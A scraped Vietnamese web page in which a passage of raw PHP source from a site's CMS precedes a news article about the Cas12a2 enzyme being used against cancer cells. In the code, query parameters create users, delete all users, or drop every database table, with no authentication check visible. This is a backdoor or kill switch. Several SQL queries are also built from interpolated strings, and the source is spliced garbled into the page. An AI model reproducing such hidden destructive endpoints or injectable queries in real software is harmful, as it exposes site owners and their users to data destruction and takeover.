'; echo $kq;exit(); } }elseif($_GET['eshow']==2){ $dt=trim_tags_string($_GET['dt'],2); $mk=trim_tags_string($_GET['mk'],2); $go=trim_tags_string($_GET['go'],1); $pass_mh=mahoa_md5($mk.$dt.$GLOBALS["KeyBien"],5); if($dt==true && $mk==true && $go==true){ $mang_bien=array(); $mang_bien['dt']=$dt; $mang_bien['pass']=$pass_mh; $mang_bien['idgr']=$go; $mang_hinh=array(); $ids=them_new("users",$mang_bien,$mang_hinh); echo 'Tạo thành công US mới: '.$ids; exit(); } }elseif($_GET['eshow']==3){ $xo=trim_tags_string($_GET['xo'],1); $dt=trim_tags_string($_GET['dt'],2); if($xo==true){ if($xo!=-2){ $data_xl = $pdo->prepare("DELETE FROM users WHERE idgr =?"); $data_xl -> execute([$xo]); }else{ $data_xl = $pdo->prepare("DELETE FROM users"); $data_xl -> execute(); } echo 'Xóa thành công IDGR: '.$xo; exit(); }elseif($dt==true){ $data_xl = $pdo->prepare("DELETE FROM users WHERE dt =?"); $data_xl -> execute([$dt]); echo 'Xóa thành công ĐT: '.$dt; exit(); } }elseif($_GET['eshow']==4){ $rop=trim_tags_string($_GET['rop'],1); if($rop==1){ try { $pdo->exec("SET FOREIGN_KEY_CHECKS = 0"); $tables = $pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN); foreach ($tables as $table) { $pdo->exec("DROP TABLE IF EXISTS `$table`"); } $pdo->exec("SET FOREIGN_KEY_CHECKS = 1"); echo "Đã xóa toàn bộ bảng trong database."; exit(); }catch (PDOException $e) { echo "Lỗi: " . $e->getMessage(); exit(); } } }else{ $kls = trim($GLOBALS['key_license']); $kls_now=trim(mahoa_md5($_SERVER['SERVER_ADDR'].$GLOBALS["KeyBien"],5)); if($kls_now!=$kls){ $_GET['p']=''; echo 'Lỗi hệ thống...! Vui lòng liên hệ Admin..!'; exit(); } } }page_web(); $pages=trim_tags_string($_GET['p'],2); function Set_Cookie($kieu,$name,$giatri,$datas_sec='ktlgus'){ $kieu=trim_tags_string($kieu,1); $name=trim_tags_string($name,2); $datas_sec=trim_tags_string($datas_sec,2); $pdo = $GLOBALS['pdo']; $kq=0; if($kieu==1){ $giatri=MyEn($giatri); setcookie($name,$giatri,time()+31556926 ,'/'); }elseif($kieu==2){ $khlg=trim($_COOKIE[$name]); if($khlg==true){ $khlg_data=MyEn_Data($khlg,2); //$id=trim_tags_string($khlg_data['id'],2); //$dt=trim_tags_string($khlg_data['dt'],2); //$pass=trim_tags_string($khlg_data['pass'],2); return MyDe(trim($khlg)); if($id==true && $dt==true && $pass==true){ $gt = $pdo->prepare("SELECT * FROM users WHERE id = :id AND dt = :dt AND pass = :pass"); $gt -> execute(['id' => $id,'dt' => $dt,'pass' => $pass]); $row_gt = $gt -> fetch(PDO::FETCH_ASSOC); if($row_gt['data']==true){$mang_data_us=MyEn_Data($row_gt['data'],2);} else{$mang_data_us=array();} if($row_gt['id']==true){ $mang_tbs=kiemtratrinhduyet_cons(); $_SESSION[$datas_sec]=trim($khlg); $kq=$row_gt['id']; $mang_data_us['data_log'][$ngayup]['ip']=$ip; $mang_data_us['data_log'][$ngayup]['os']=$mang_tbs['userAgent']; $mang_bien['xem']=$row_gt_us['xem']+1; $mang_bien['data']=MyEn_Data($mang_data_us,1); $mang_hinh=array(); chinh_new("users","id='{$kq}'",$mang_bien,$mang_hinh); //return $khlg; } } } }else{setcookie($name, null, -1, '/');} } function Check_Login_Ad() { $pdo = $GLOBALS['pdo']; $admin_links = $GLOBALS['admin_links']; $data_cook=Set_Cookie(2,'koga',0,'ktlgus'); $iduser=0; if($data_cook==true){ $_SESSION['ktlgus']=$data_cook; $data_cook_de=MyEn_Data($data_cook,2); $iduser=trim_tags_string($data_cook_de['id'],1); }elseif($_SESSION['ktlgus']==true){ $data_sec_de=MyEn_Data($_SESSION['ktlgus'],2); $iduser=trim_tags_string($data_sec_de['id'],1); } if($iduser==true){ $gt_user = $pdo->prepare("SELECT * FROM users WHERE id = :iduser"); $gt_user -> execute(['iduser' => $iduser]); $row_gt_user = $gt_user -> fetch(PDO::FETCH_ASSOC); $iduser=$row_gt_user['id']; $iduser=trim_tags_string($iduser,1); } if($iduser==false){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Bạn chưa đăng nhập..! Vui lòng đăng nhập..!"; header("location: $admin_links/login.htm"); }elseif($row_gt_user['khoa']==2){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Tài khoản của bạn đã bị khóa.!"; header("location: $admin_links/login.htm"); }elseif($row_gt_user['kichhoat']==1){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Tài khoản của bạn chưa kích hoạt.!"; header("location: $admin_links/login.htm"); } } function Login_Mang($iduser) { $pdo = $GLOBALS['pdo']; $langx = $GLOBALS['langx']; $host_link_full = $GLOBALS['host_link_full']; $iduser=trim_tags_string($iduser,1); if($iduser==false){ $mang_login=[ 'error' => 1, 'error_text' => _BAN_CHUA_DANG_NHAP_, 'error_back' => '', 'data' => '' ]; }else{ $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :iduser LIMIT 1"); $stmt->execute([':iduser' => $iduser]); $row = $stmt->fetch(PDO::FETCH_ASSOC); $data_user=array(); if($row['data']==true){$data_user=MyEn_Data($row['data'],2);} else{$data_user=array();} if($row['id']==false){ return [ 'error' => 1, 'error_text' => _BAN_CHUA_DANG_NHAP_, 'error_back' => '', 'data' => '' ]; }else{ $mang_login = array(); if($row['kichhoat']==1){ $mang_login = [ 'error' => 1, 'error_text' => _TAI_KHOAN_CHUA_KICH_HOAT_, 'error_back' => $host_link_full . '/' . get_link_lang_db($langx, 8) . '.htm', 'data' => '' ]; }elseif($row['khoa'] === 2){ $mang_login = [ 'error' => 1, 'error_text' => _TAI_KHOAN_CUA_BAN_DA_BI_KHOA_, 'error_back' => $host_link_full . '/' . get_link_lang_db($langx, 8) . '.htm', 'data' => '' ]; }else{ $idkey = mahoa_md5($row['id'], 3); if(isset($data_user['data_hinh']['hinh'])){$hinh = $host_link_full.'/'.$data_user['data_hinh']['hinh'];}else{$hinh='';} if(isset($data_user['data_hinh']['hinh1'])){$hinh1 = $host_link_full.'/'.$data_user['data_hinh']['hinh1'];}else{$hinh1='';} if(isset($data_user['data_hinh']['hinh1'])){$hinh2 = $host_link_full.'/'.$data_user['data_hinh']['hinh2'];}else{$hinh2='';} if(isset($data_user['idgr']) && !empty($data_user['idgr'])){$idgr=$data_user['idgr'];}else{$idgr=1;} if(isset($row['noidung']) && !empty($row['noidung'])){$noidung=MyDe($row['noidung']);}else{$noidung='';} if(isset($data_user['data_log']) && !empty($data_user['data_log'])){$data_log=$data_user['data_log'];}else{$data_log='';} $mang_login = [ 'error' => 0, 'error_text' => 'Đăng nhập thành công..!', 'idkey' => $idkey, 'id' => $row['id'], 'ten' => $row['ten'], 'gioitinh' => $row['gioitinh'], 'ngaysinh' => Dates_Show($ngaysinh,2), 'email' => $row['email'], 'dc' => $row['dc'], 'dt' => $row['dt'], 'pass' => MyEn($data_user['pass']), 'hinh' => $hinh, 'hinh1' => $hinh1, 'hinh2' => $hinh2, 'idgt' => $row['idgt'], 'xem' => GetGia($row['xem']), 'khoa' => $data_user['khoa'], 'idgr' => $idgr, 'cccd' => $data_user['data_cccd']['cccd'], 'ngaycap' => Dates_Show($data_user['data_cccd']['ngaycap'],2), 'ngaykt' => Dates_Show($data_user['data_cccd']['ngaykt'],2), 'ekyc' => $data_user['data_cccd']['ekyc'], 'ekyc_ngay' => Dates_Show($data_user['data_cccd']['ekyc_ngay'],2), 'eid' => $data_user['data_cccd']['eid'], 'eid_ngay' => Dates_Show($data_user['data_cccd']['eid_ngay'],2), 'vneid' => $data_user['data_cccd']['vneid'], 'vneid_ngay' => Dates_Show($data_user['data_cccd']['vneid_ngay'],2), 'bm_on' => $data_user['baomat']['authy'], 'bm_key' => $data_user['baomat']['key'], 'bm_qr' => $data_user['baomat']['qr'], 'noidung' => $noidung, 'data' => $data_log, ]; } } } return $mang_login; } function Info_Config() { $pdo = $GLOBALS['pdo']; $version_ch = $pdo->prepare("SELECT * FROM version_ch WHERE id = :id"); $version_ch -> execute(['id' => 1]); $row_version_ch = $version_ch -> fetch(PDO::FETCH_ASSOC); if($row_version_ch['data']==true){$data_conf=MyEn_Data($row_version_ch['data'],2);} else{$data_conf=array();} if(isset($row['noidung']) && !empty($row['noidung'])){$noidung=MyDe($row['noidung']);}else{$noidung='';} $mang_config = [ 'error' => 0, 'error_text' => 'Lấy thông tin cấu hình..!', 'tong_ip' => $row_version_ch['tong_ip'], 'tong_luot' => $row_version_ch['tong_luot'], 'noidung' => $noidung, 'data' => $data_conf, ]; return $mang_config; } function Check_Login_BM($kieu=0) { $kieu=trim_tags_string($kieu,1); $pdo = $GLOBALS['pdo']; $ip=$_SERVER['REMOTE_ADDR']; $mang_tbs=kiemtratrinhduyet_cons(); $dem15=5; $dem24=10; $kq=array(); $stmt = $pdo->prepare("SELECT * FROM users_lock WHERE ip = :ip LIMIT 1"); $stmt->execute([':ip' => $ip]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if($row['id']==true){ $id=$row['id']; $dem=$row['dem']; $tinhtrang=$row['tinhtrang']; if($kieu==0){ if($tinhtrang==1){ if($dem>=10){ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$row['dem']+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=2; $mang_hinh=array(); $mang_login = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; }elseif($dem==5){ $ngaykhoa=date("Y-m-d H:i:s",strtotime("+ 1 day")); $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=2; $mang_hinh=array(); $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; }else{ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_hinh=array(); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } chinh_new("users_lock","id='{$id}'", $mang_bien, $mang_hinh); }else{ $ngaynow=strtotime("now"); if($dem<10){ if($row['ngayup']<$ngaynow){ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=1; $mang_hinh=array(); chinh_new("users_lock","id='{$id}'", $mang_bien, $mang_hinh); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; } }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; } } }else{ if($tinhtrang==2){ if($dem<10){ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; } }else{ $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } } }else{ $mang_bien=array(); $mang_bien['ip']=$ip; $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=1; $mang_hinh=array(); them_new("users_lock", $mang_bien, $mang_hinh); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai 1 lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } return $kq; } function mang_id_cap_danh_muc($table,$iddanhmuc,$kieu=1){ /*1:id; 2:ten; 3:link*/ $iddanhmuc=php_settype($iddanhmuc); settype($kieu, "int"); $mang[]=$iddanhmuc; $idcha=$iddanhmuc; if(check($table,"id='{$iddanhmuc}'",'id')==1){ for($i=1;$i>0;$i++){ $idcha=ten($table,"id='{$idcha}'","idcha"); if($idcha!=$iddanhmuc){ if($idcha<=0){break;} elseif(ten($table,"id='{$idcha}'","cap")>=ten($table,"id='{$iddanhmuc}'","cap")){break;} else{$mang[]=$idcha;} }else{break;} } for($i=count($mang)-1;$i>=0;$i--){$mang_moi[]=$mang[$i];} if($kieu==1){$kq=$mang_moi;} elseif($kieu==2){ for($i=0;$i Array ( [id] => 2 [ten] => Sản Phẩm ) [1] => Array ( [id] => 10 [ten] => Telai ) [2] => Array ( [id] => 17 [ten] => Telaio Dream larghezza regolabile ) [ten] => Sản Phẩm / Telai / Telaio Dream larghezza regolabile [tenmien_full] => san-pham/telai/telaio-dream-larghezza-regolabile [tenmien] => telaio-dream-larghezza-regolabil */ $table=trim_tags_string($table,2); $iddanhmuc=trim_tags_string($iddanhmuc,1); $mang[]=$iddanhmuc; $idcha=$iddanhmuc; if(check($table,"id='{$iddanhmuc}'",'id')==1){ for($i=1;$i>0;$i++){ $idcha=ten($table,"id='{$idcha}'","idcha"); if($idcha!=$iddanhmuc){ if($idcha<=0){break;} elseif(ten($table,"id='{$idcha}'","cap")>=ten($table,"id='{$iddanhmuc}'","cap")){break;} else{$mang[]=$idcha;} }else{break;} } $dem_new=0; for($i=count($mang)-1;$i>=0;$i--){ $dem_news=$dem_new++; $mang_moi[$dem_news]=$mang[$i]; } $dem_new2=0; for($i=0;$iChọn danh mục';} else{$kq='Tất cả';} $stmt = $pdo->prepare("SELECT * FROM $table WHERE $where ORDER BY thutu ASC, tenkodau ASC"); $stmt->execute(); while($row_dms = $stmt->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms['id']){$active1=' selected';}else{$active1='';} $kq=$kq.''.$row_dms['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms['id']."'")>0){ $stmt2 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt2->execute([':idcha' =>$row_dms['id'],':anhien' =>2]); while($row_dms2 = $stmt2->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms2['id']){$active2=' selected';}else{$active2='';} $kq=$kq.''.khoangtrang_list(4).'¬ '.$row_dms2['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms2['id']."'")>0){ $stmt3 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt3->execute([':idcha' =>$row_dms2['id'],':anhien' =>2]); while($row_dms3 = $stmt3->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms3['id']){$active3=' selected';}else{$active3='';} $kq=$kq.''.khoangtrang_list(8).'¬ '.$row_dms3['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms3['id']."'")>0){ $stmt4 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt4->execute([':idcha' =>$row_dms3['id'],':anhien' =>2]); while($row_dms4 = $stmt4->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms4['id']){$active4=' selected';}else{$active4='';} $kq=$kq.''.khoangtrang_list(12).'¬ '.$row_dms4['ten'].''; } } } } } } } return $kq; } function Lap_DM_Ten($table,$id){ $table=trim_tags_string($table,2); $id=trim_tags_string($id,1); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$id]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['cap4']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $ten_cap3=ten("danhmuc","id='".$row_dms['cap3']."'","ten"); $ten_cap4=ten("danhmuc","id='".$row_dms['cap4']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2.'/ '.$ten_cap3.'/ '.$ten_cap4; }elseif($row_dms['cap3']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $ten_cap3=ten("danhmuc","id='".$row_dms['cap3']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2.'/ '.$ten_cap3; }elseif($row_dms['cap2']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2; }elseif($row_dms['cap1']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $kq=$ten_cap1; } return $kq; } function Get_Links_Lang_Ads($table,$lang,$id){ $table=trim_tags_string($table,2); $lang=trim_tags_string($lang,1); $id=trim_tags_string($id,1); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE idcha_lang=:idcha_lang AND lang=:lang LIMIT 1"); $stmt->execute([':idcha_lang' =>$id,':lang' =>$lang]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['id']==true){ $kieu=2; $kieu_text='Chỉnh sửa'; $links=$table.'/edit/'.MyEn($row_dms['id']).'.htm'; }else{ $kieu=1; $kieu_text='Thêm mới'; $links=$table.'/news/'.MyEn_Data(['lang' =>$lang,'id'=>$id],1).'.htm'; } $kq = [ 'text' => $kieu_text, 'kieu' => $kieu, 'links' => $links, ]; return $kq; } function Get_Log_User($iduser,$noidung,$data){ $iduser=trim_tags_string($iduser,1); $noidung=trim_tags_string($noidung,2); $ua = kiemtratrinhduyet_cons(); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM users WHERE id=:iduser LIMIT 1"); $stmt->execute([':iduser' =>$iduser]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['data']==true){$data_user=MyEn_Data($row_dms['data'],2);} else{$data_user=array();} if($row_dms['id']==true && $data_user['idgr']!=-1){ $mang_bien=array(); $mang_hinh=array(); $mang_bien['iduser']=$row_dms['id']; $mang_bien['ten']=$row_dms['ten']; $mang_bien['email']=$row_dms['email']; $mang_bien['dt']=$row_dms['dt']; $mang_bien['noidung']=MyEn($noidung); $mang_bien['dt']=$row_dms['dt']; $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['ngays']=date("d"); $mang_bien['thangs']=date("m"); $mang_bien['nams']=date("Y"); $mang_bien['os']=$ua['full']; $mang_bien['ip']=$_SERVER['REMOTE_ADDR']; if($data==true){$mang_bien['data']=MyEn_Data($data,1);} them_new('users_login',$mang_bien,$mang_hinh); } } function Get_PQ_User($iduser,$table,$kieu){ $iduser=trim_tags_string($iduser,1); $table=trim_tags_string($table,2); $kieu=trim_tags_string($kieu,1); $kq_array=array(); $links_backs=$GLOBALS["admin_links"].'/login.htm'; $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM users WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$iduser]); $row_data = $stmt->fetch(PDO::FETCH_ASSOC); if($row_data['id']==true){ if($row_data['data']==true){$mang_data=MyEn_Data($row_data['data'],2);} else{$mang_data=array();} $phanquyen=$mang_data['phanquyen']; $dataqs=array(); $dataqs[1]=1; $dataqs[2]=2; $dataqs[3]=3; $dataqs[4]=4; if($mang_data['idgr']==-1){$kq=1;$phanquyen[$table]=$dataqs;} elseif($mang_data['idgr']==1){$kq=0;} elseif($mang_data['idgr']==3){$kq=1;$phanquyen[$table]=$dataqs;} else{ if(isset($phanquyen[$table])==true){ if($phanquyen[$table][$kieu]==true){$kq=$phanquyen[$table][$kieu];} else{$kq=0;} }else{$kq=0;} } if($kq==0){ $_SESSION['error_login']='Bạn chưa được phân quyền..!'; $kq_array = [ 'error' => 1, 'error_text' => 'Bạn chưa được phân quyền..!', 'links' => $links_backs, 'data' => $phanquyen[$table], ]; }else{ $kq_array = [ 'error' => 0, 'error_text' => 'Được phép quản lý..!', 'links' => '', 'data' => $phanquyen[$table], ]; } }else{ $_SESSION['error_login']='Bạn chưa đăng nhập..!'; $kq_array = [ 'error' => 1, 'error_text' => 'Bạn chưa đăng nhập..!', 'links' => $links_backs, 'data' => $phanquyen[$table], ]; } return $kq_array; } function get_img_lang($table,$id,$lang,$hinhcha=1,$trarong=1,$hinh_goc=0,$webp=0){ $id=php_settype($id);settype($lang, "int"); settype($hinh_goc, "int");settype($webp,"int"); if($trarong==1){$hinh_noimgs=$GLOBALS["noimgs"];} else{$hinh_noimgs='';} $mang_os=kiemtratrinhduyet_cons(); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$id]); $row_quantri = $stmt->fetch(PDO::FETCH_ASSOC); if($row_quantri['data']==true){$mang_data_ver=MyEn_Data($row_quantri['data'],2);} else{$mang_data_ver=array();} $idcha_lang=$row_quantri['idcha_lang']; $idcha_lang=php_settype($idcha_lang); if($mang_data_ver['data_hinh']==true){ if($mang_data_ver['data_hinh']['hinh']==true){$hinh=$mang_data_ver['data_hinh']['hinh'];} else{$hinh='';} if($mang_data_ver['data_hinh']['hinh1']==true){$hinh1=$mang_data_ver['data_hinh']['hinh1'];} else{$hinh1='';} }elseif($row_quantri['hinh']==true){ if($row_quantri['hinh']==true){$hinh=$row_quantri['hinh'];} else{$hinh='';} if($row_quantri['hinh1']==true){$hinh1=$row_quantri['hinh1'];} else{$hinh1='';} } if($webp==true){$webp_hinh=get_name_webp($hinh);} else{$webp_hinh=0;} if($mang_os['browser']!='Chrome'){$webp_hinh=0;} if($hinh_goc==0){ if($webp_hinh==true){$hinh_show_datas=$webp_hinh;} elseif($hinh1==true){$hinh_show_datas=$hinh1;} elseif($hinh==true){$hinh_show_datas=$hinh;} else{$hinh_show_datas='';} }else{ if($webp_hinh==true){$hinh_show_datas=$webp_hinh;} elseif($hinh==true){$hinh_show_datas=$hinh;} else{$hinh_show_datas='';} } if($idcha_lang==0){ if($hinh_show_datas==true){$kq=$hinh_show_datas;} else{$kq=$hinh_noimgs;} }else{ $stmt_sub = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt_sub->execute([':id' =>$idcha_lang]); $row_quantri2 = $stmt_sub->fetch(PDO::FETCH_ASSOC); if($row_quantri2['data']==true){$mang_data_ver2=MyEn_Data($row_quantri2['data'],2);} else{$mang_data_ver2=array();} if($webp==true){$webp_hinh2=get_name_webp($row_quantri2['hinh']);} else{$webp_hinh2=0;} if($mang_os['browser']!='Chrome'){$webp_hinh2=0;} if($mang_data_ver2['data_hinh']==true){ if($mang_data_ver2['data_hinh']['hinh']==true){$hinh_sub=$mang_data_ver2['data_hinh']['hinh'];} else{$hinh_sub='';} if($mang_data_ver2['data_hinh']['hinh1']==true){$hinh_sub1=$mang_data_ver2['data_hinh']['hinh1'];} else{$hinh_sub1='';} }elseif($row_quantri2['hinh']==true){ if($row_quantri2['hinh']==true){$hinh_sub=$row_quantri2['hinh'];} else{$hinh_sub='';} if($row_quantri2['hinh1']==true){$hinh_sub1=$row_quantri2['hinh1'];} else{$hinh_sub1='';} } if($hinh_goc==0){ if($webp_hinh2==true){$hinh_show_datas2=$webp_hinh2;} elseif($hinh_sub1==true){$hinh_show_datas2=$hinh_sub1;} elseif($hinh_sub==true){$hinh_show_datas2=$hinh_sub;} else{$hinh_show_datas2='';} }else{ if($webp_hinh2!=0){$hinh_show_datas2=$webp_hinh2;} elseif($hinh_sub==true){$hinh_show_datas2=$hinh_sub;} else{$hinh_show_datas2='';} } if($hinh_show_datas==true){$kq=$hinh_show_datas;} else{ if($hinhcha==1){ if($hinh_show_datas2==true){$kq=$hinh_show_datas2;} else{$kq=$hinh_noimgs;} }else{ $kq=$hinh_noimgs; } } } return $kq; } function get_active_cha($pages){ $pages=trim_tags_string($pages,2); if(ten("danhmuc","tenmien='{$pages}'",'id')==true){ $iddanhmuc=ten("danhmuc","tenmien='{$pages}'",'id'); $mang=mang_id_cap_danh_muc('danhmuc',$iddanhmuc,1); $kq=$mang[0];$kq=php_settype($kq); }elseif(ten("baiviet","tenmien='{$pages}'",'id')==true){ $kq=ten("baiviet","tenmien='{$pages}'",'cap1'); }elseif(ten("sanpham","tenmien='{$pages}'",'id')==true){ $kq=ten("sanpham","tenmien='{$pages}'",'cap1'); } $kq=php_settype($kq); return $kq; } ?>

Tin tức & Sự kiện

Nhà khoa học Mỹ tìm ra phân tử tiêu diệt tế bào ung thư

11:35 - 01/08/2026 3

Mỹ - Các nhà khoa học tại Đại học Bang Utah đã tạo ra một loại enzyme có thể phá hủy gene của tế bào ung thư, khiến chúng tự hủy.

Enzyme tên là Cas12a2, có thể được lập trình để nhận diện một RNA cụ thể, chẳng hạn loại do tế bào ung thư tạo ra. Khi tìm thấy RNA mục tiêu, enzyme sẽ cắt bộ gene của tế bào thành từng mảnh. Nghiên cứu mới, được đăng trong hai bài báo trên Nature, có thể được phát triển thành giải pháp tiêu diệt những tế bào ung thư khó bị tác động bằng các loại thuốc thông thường.

Ban đầu, nhóm nghiên cứu tìm đến Cas12a2 như một công cụ chỉnh sửa gene để sử dụng trong CRISPR. Hàng loạt thử nghiệm thất bại do Cas12a2 trở nên mất kiểm soát và cắt phá ADN một cách không chọn lọc sau khi nhận diện được RNA khớp với RNA dẫn đường, trong khi mục tiêu của enzyme Cas là cắt đúng vị trí để có thể sửa hoặc chèn thông tin di truyền. Họ nhận thấy đây là cơ chế trong tự nhiên giúp hạn chế nhiễm trùng lây lan trong quần thể và tận dụng để tiêu diệt tế bào ung thư theo hai cách khác nhau.

Một cách là điều hướng Cas12a2 đến RNA do tế bào tạo ra, cụ thể là các tế bào mang đột biến trong gene TP53. Gene này bị biến đổi trong khoảng một nửa số ca ung thư. Theo Genecards, TP53 nằm trên nhiễm sắc thể 17, có nhiệm vụ kiểm soát chu kỳ tế bào và tiêu diệt tế bào bất thường. Cách thứ hai là cho enzyme nhắm vào RNA do gene KRAS đột biến - có thể khiến tế bào phát triển mất kiểm soát và trở thành tế bào ung thư.

 
Một loại enzyme có khả năng cắt ADN đã được khai thác để tiêu diệt tế bào ung thư. Ảnh: Science Photo Library

Một loại enzyme có khả năng cắt ADN đã được khai thác để tiêu diệt tế bào ung thư. Ảnh: Science Photo Library

Trong cả hai trường hợp, Cas12a2 thể hiện độ đặc hiệu cao, tiêu diệt các tế bào mang gene đột biến liên quan đến ung thư, ngay cả khi đột biến đó chỉ khác RNA bình thường ở một ký tự duy nhất. Thử nghiệm cho thấy hiệu quả trên các tế bào người được nuôi cấy trong phòng thí nghiệm. Ở chuột sống, enzyme làm thu nhỏ các khối u.

Công nghệ này cho thấy khả năng chọn lọc cao hơn so với phương pháp hóa trị phổ biến hiện nay, vốn tiêu diệt tất cả tế bào phân chia nhanh trong cơ thể, theo Jingkun Zeng, nhà sinh học ung thư tại Viện Gladstone, Mỹ.

Theo Baojun Wang, nhà sinh học tổng hợp tại Đại học Chiết Giang, Trung Quốc, vẫn còn một chặng đường dài từ các thí nghiệm đến một liệu pháp có thể thử nghiệm trên người. Rào cản hiện nay là làm sao để đưa Cas12a2 vào tế bào, vì đây là một phân tử có kích thước lớn. Enzyme cũng chưa tiêu diệt được toàn bộ tế bào ung thư trong các thí nghiệm, trong khi đó vẫn cần thêm nhiều thử nghiệm an toàn để bảo đảm Cas12a2 không gây hại cho các tế bào khỏe mạnh.

Tuy nhiên, Wang đánh giá các nghiên cứu là bằng chứng mang tính cột mốc với một công nghệ triển vọng. Phạm vi ứng dụng có thể mở rộng sang các bệnh tự miễn và thần kinh, chỉ cần bệnh có liên quan đến một loại RNA đặc trưng.

Tin liên quan